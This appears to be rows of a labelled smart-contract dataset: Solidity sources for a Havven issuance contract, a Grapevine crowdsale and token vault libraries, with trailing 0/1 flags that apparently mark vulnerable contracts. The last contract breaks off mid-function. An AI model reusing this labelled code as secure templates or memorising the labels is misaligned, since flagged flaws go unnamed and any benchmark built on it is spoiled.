require(_issuanceRatio <= MAX_ISSUANCE_RATIO);
issuanceRatio = _issuanceRatio;
emitIssuanceRatioUpdated(_issuanceRatio);
}
function setIssuer(address account, bool value)
external
optionalProxy_onlyOwner
{
isIssuer[account] = value;
emitIssuersUpdated(account, value);
}
function issuanceCurrentBalanceSum(address account)
external
view
returns (uint)
{
return issuanceData[account].currentBalanceSum;
}
function issuanceLastAverageBalance(address account)
external
view
returns (uint)
{
return issuanceData[account].lastAverageBalance;
}
function issuanceLastModified(address account)
external
view
returns (uint)
{
return issuanceData[account].lastModified;
}
function totalIssuanceCurrentBalanceSum()
external
view
returns (uint)
{
return totalIssuanceData.currentBalanceSum;
}
function totalIssuanceLastAverageBalance()
external
view
returns (uint)
{
return totalIssuanceData.lastAverageBalance;
}
function totalIssuanceLastModified()
external
view
returns (uint)
{
return totalIssuanceData.lastModified;
}
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[sender] == 0 || value <= transferableHavvens(sender));
_transfer_byProxy(sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
require(nominsIssued[from] == 0 || value <= transferableHavvens(from));
_transferFrom_byProxy(sender, from, to, value);
return true;
}
function withdrawFees()
external
optionalProxy
{
address sender = messageSender;
rolloverFeePeriodIfElapsed();
require(!nomin.frozen(sender));
updateIssuanceData(sender, nominsIssued[sender], nomin.totalSupply());
require(!hasWithdrawnFees[sender]);
uint feesOwed;
uint lastTotalIssued = totalIssuanceData.lastAverageBalance;
if (lastTotalIssued > 0) {
feesOwed = safeDiv_dec(
safeMul_dec(issuanceData[sender].lastAverageBalance, lastFeesCollected),
lastTotalIssued
);
}
hasWithdrawnFees[sender] = true;
if (feesOwed != 0) {
nomin.withdrawFees(sender, feesOwed);
}
emitFeesWithdrawn(messageSender, feesOwed);
}
function updateIssuanceData(address account, uint preBalance, uint lastTotalSupply)
internal
{
totalIssuanceData = computeIssuanceData(lastTotalSupply, totalIssuanceData);
if (issuanceData[account].lastModified < feePeriodStartTime) {
hasWithdrawnFees[account] = false;
}
issuanceData[account] = computeIssuanceData(preBalance, issuanceData[account]);
}
function computeIssuanceData(uint preBalance, IssuanceData preIssuance)
internal
view
returns (IssuanceData)
{
uint currentBalanceSum = preIssuance.currentBalanceSum;
uint lastAverageBalance = preIssuance.lastAverageBalance;
uint lastModified = preIssuance.lastModified;
if (lastModified < feePeriodStartTime) {
if (lastModified < lastFeePeriodStartTime) {
lastAverageBalance = preBalance;
} else {
uint timeUpToRollover = feePeriodStartTime - lastModified;
uint lastFeePeriodDuration = feePeriodStartTime - lastFeePeriodStartTime;
uint lastBalanceSum = safeAdd(currentBalanceSum, safeMul(preBalance, timeUpToRollover));
lastAverageBalance = lastBalanceSum / lastFeePeriodDuration;
}
currentBalanceSum = safeMul(preBalance, now - feePeriodStartTime);
} else {
currentBalanceSum = safeAdd(
currentBalanceSum,
safeMul(preBalance, now - lastModified)
);
}
return IssuanceData(currentBalanceSum, lastAverageBalance, now);
}
function recomputeLastAverageBalance(address account)
external
returns (uint)
{
updateIssuanceData(account, nominsIssued[account], nomin.totalSupply());
return issuanceData[account].lastAverageBalance;
}
function issueNomins(uint amount)
public
optionalProxy
requireIssuer(messageSender)
{
address sender = messageSender;
require(amount <= remainingIssuableNomins(sender));
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
nomin.issue(sender, amount);
nominsIssued[sender] = safeAdd(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
function issueMaxNomins()
external
optionalProxy
{
issueNomins(remainingIssuableNomins(messageSender));
}
function burnNomins(uint amount)
external
optionalProxy
{
address sender = messageSender;
uint lastTot = nomin.totalSupply();
uint preIssued = nominsIssued[sender];
nomin.burn(sender, amount);
nominsIssued[sender] = safeSub(preIssued, amount);
updateIssuanceData(sender, preIssued, lastTot);
}
function rolloverFeePeriodIfElapsed()
public
{
if (now >= feePeriodStartTime + feePeriodDuration) {
lastFeesCollected = nomin.feePool();
lastFeePeriodStartTime = feePeriodStartTime;
feePeriodStartTime = now;
emitFeePeriodRollover(now);
}
}
function maxIssuableNomins(address issuer)
view
public
priceNotStale
returns (uint)
{
if (!isIssuer[issuer]) {
return 0;
}
if (escrow != HavvenEscrow(0)) {
uint totalOwnedHavvens = safeAdd(tokenState.balanceOf(issuer), escrow.balanceOf(issuer));
return safeMul_dec(HAVtoUSD(totalOwnedHavvens), issuanceRatio);
} else {
return safeMul_dec(HAVtoUSD(tokenState.balanceOf(issuer)), issuanceRatio);
}
}
function remainingIssuableNomins(address issuer)
view
public
returns (uint)
{
uint issued = nominsIssued[issuer];
uint max = maxIssuableNomins(issuer);
if (issued > max) {
return 0;
} else {
return safeSub(max, issued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint bal = tokenState.balanceOf(account);
if (escrow != address(0)) {
bal = safeAdd(bal, escrow.balanceOf(account));
}
return bal;
}
function issuanceDraft(address account)
public
view
returns (uint)
{
uint issued = nominsIssued[account];
if (issued == 0) {
return 0;
}
return USDtoHAV(safeDiv_dec(issued, issuanceRatio));
}
function lockedCollateral(address account)
public
view
returns (uint)
{
uint debt = issuanceDraft(account);
uint collat = collateral(account);
if (debt > collat) {
return collat;
}
return debt;
}
function unlockedCollateral(address account)
public
view
returns (uint)
{
uint locked = lockedCollateral(account);
uint collat = collateral(account);
return safeSub(collat, locked);
}
function transferableHavvens(address account)
public
view
returns (uint)
{
uint draft = issuanceDraft(account);
uint collat = collateral(account);
if (draft > collat) {
return 0;
}
uint bal = balanceOf(account);
if (draft > safeSub(collat, bal)) {
return safeSub(collat, draft);
}
return bal;
}
function HAVtoUSD(uint hav_dec)
public
view
priceNotStale
returns (uint)
{
return safeMul_dec(hav_dec, price);
}
function USDtoHAV(uint usd_dec)
public
view
priceNotStale
returns (uint)
{
return safeDiv_dec(usd_dec, price);
}
function updatePrice(uint newPrice, uint timeSent)
external
onlyOracle
{
require(lastPriceUpdateTime < timeSent && timeSent < now + ORACLE_FUTURE_LIMIT);
price = newPrice;
lastPriceUpdateTime = timeSent;
emitPriceUpdated(newPrice, timeSent);
rolloverFeePeriodIfElapsed();
}
function priceIsStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdateTime, priceStalePeriod) < now;
}
modifier requireIssuer(address account)
{
require(isIssuer[account]);
_;
}
modifier onlyOracle
{
require(msg.sender == oracle);
_;
}
modifier priceNotStale
{
require(!priceIsStale());
_;
}
event PriceUpdated(uint newPrice, uint timestamp);
bytes32 constant PRICEUPDATED_SIG = keccak256("PriceUpdated(uint256,uint256)");
function emitPriceUpdated(uint newPrice, uint timestamp) internal {
proxy._emit(abi.encode(newPrice, timestamp), 1, PRICEUPDATED_SIG, 0, 0, 0);
}
event IssuanceRatioUpdated(uint newRatio);
bytes32 constant ISSUANCERATIOUPDATED_SIG = keccak256("IssuanceRatioUpdated(uint256)");
function emitIssuanceRatioUpdated(uint newRatio) internal {
proxy._emit(abi.encode(newRatio), 1, ISSUANCERATIOUPDATED_SIG, 0, 0, 0);
}
event FeePeriodRollover(uint timestamp);
bytes32 constant FEEPERIODROLLOVER_SIG = keccak256("FeePeriodRollover(uint256)");
function emitFeePeriodRollover(uint timestamp) internal {
proxy._emit(abi.encode(timestamp), 1, FEEPERIODROLLOVER_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint duration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint duration) internal {
proxy._emit(abi.encode(duration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeesWithdrawn(address indexed account, uint value);
bytes32 constant FEESWITHDRAWN_SIG = keccak256("FeesWithdrawn(address,uint256)");
function emitFeesWithdrawn(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, FEESWITHDRAWN_SIG, bytes32(account), 0, 0);
}
event OracleUpdated(address newOracle);
bytes32 constant ORACLEUPDATED_SIG = keccak256("OracleUpdated(address)");
function emitOracleUpdated(address newOracle) internal {
proxy._emit(abi.encode(newOracle), 1, ORACLEUPDATED_SIG, 0, 0, 0);
}
event NominUpdated(address newNomin);
bytes32 constant NOMINUPDATED_SIG = keccak256("NominUpdated(address)");
function emitNominUpdated(address newNomin) internal {
proxy._emit(abi.encode(newNomin), 1, NOMINUPDATED_SIG, 0, 0, 0);
}
event EscrowUpdated(address newEscrow);
bytes32 constant ESCROWUPDATED_SIG = keccak256("EscrowUpdated(address)");
function emitEscrowUpdated(address newEscrow) internal {
proxy._emit(abi.encode(newEscrow), 1, ESCROWUPDATED_SIG, 0, 0, 0);
}
event IssuersUpdated(address indexed account, bool indexed value);
bytes32 constant ISSUERSUPDATED_SIG = keccak256("IssuersUpdated(address,bool)");
function emitIssuersUpdated(address account, bool value) internal {
proxy._emit(abi.encode(), 3, ISSUERSUPDATED_SIG, bytes32(account), bytes32(value ? 1 : 0), 0);
}
} | 1 | 2,708 |
pragma solidity ^0.4.23;
contract BurnableTokenInterface {
function burn(uint256 _value) public;
}
contract GrapevineWhitelistInterface {
function whitelist(address _address) view external returns (bool);
function handleOffchainWhitelisted(address _addr, bytes _sig) external returns (bool);
}
contract TokenTimelockControllerInterface {
function activate() external;
function createInvestorTokenTimeLock(
address _beneficiary,
uint256 _amount,
uint256 _start,
address _tokenHolder
) external returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function withdrawTokens() public {
require(hasClosed());
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
_deliverTokens(msg.sender, amount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract GrapevineCrowdsale is CappedCrowdsale, TimedCrowdsale, Pausable, RefundableCrowdsale, PostDeliveryCrowdsale {
using SafeMath for uint256;
TokenTimelockControllerInterface public timelockController;
GrapevineWhitelistInterface public authorisedInvestors;
GrapevineWhitelistInterface public earlyInvestors;
mapping(address => uint256) public bonuses;
uint256 deliveryTime;
uint256 tokensToBeDelivered;
constructor(
TokenTimelockControllerInterface _timelockController,
GrapevineWhitelistInterface _authorisedInvestors,
GrapevineWhitelistInterface _earlyInvestors,
uint256 _rate,
address _wallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime,
uint256 _softCap,
uint256 _hardCap)
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_hardCap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_softCap)
public
{
timelockController = _timelockController;
authorisedInvestors = _authorisedInvestors;
earlyInvestors = _earlyInvestors;
deliveryTime = _closingTime.add(60*5);
}
function buyTokens(address _beneficiary, bytes _whitelistSign) public payable {
if (!earlyInvestors.handleOffchainWhitelisted(_beneficiary, _whitelistSign)) {
authorisedInvestors.handleOffchainWhitelisted(_beneficiary, _whitelistSign);
}
super.buyTokens(_beneficiary);
}
function withdrawTokens() public {
require(goalReached());
require(block.timestamp > deliveryTime);
super.withdrawTokens();
uint256 _bonusTokens = bonuses[msg.sender];
if (_bonusTokens > 0) {
bonuses[msg.sender] = 0;
require(token.approve(address(timelockController), _bonusTokens));
require(
timelockController.createInvestorTokenTimeLock(
msg.sender,
_bonusTokens,
deliveryTime,
this
)
);
}
}
function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal {
uint256 _totalTokens = _tokenAmount;
uint256 _bonus = getBonus(block.timestamp, _beneficiary, msg.value);
if (_bonus>0) {
uint256 _bonusTokens = _tokenAmount.mul(_bonus).div(100);
uint256 _currentBalance = token.balanceOf(this);
require(_currentBalance >= _totalTokens.add(_bonusTokens));
bonuses[_beneficiary] = bonuses[_beneficiary].add(_bonusTokens);
_totalTokens = _totalTokens.add(_bonusTokens);
}
tokensToBeDelivered = tokensToBeDelivered.add(_totalTokens);
super._processPurchase(_beneficiary, _tokenAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(authorisedInvestors.whitelist(_beneficiary) || earlyInvestors.whitelist(_beneficiary));
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function getBonus(uint256 _time, address _beneficiary, uint256 _value) view internal returns (uint256 _bonus) {
_bonus = 0;
if ( (weiRaised.sub(_value) < goal) && earlyInvestors.whitelist(_beneficiary) ) {
_bonus = 30;
} else {
if (_time < openingTime.add(7 days)) {
_bonus = 15;
} else if (_time < openingTime.add(14 days)) {
_bonus = 10;
} else if (_time < openingTime.add(21 days)) {
_bonus = 8;
} else {
_bonus = 6;
}
}
return _bonus;
}
function finalization() internal {
if (goalReached()) {
timelockController.activate();
uint256 balance = token.balanceOf(this);
uint256 remainingTokens = balance.sub(tokensToBeDelivered);
if (remainingTokens>0) {
BurnableTokenInterface(address(token)).burn(remainingTokens);
}
}
Ownable(address(token)).transferOwnership(owner);
super.finalization();
}
} | 0 | 1,934 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
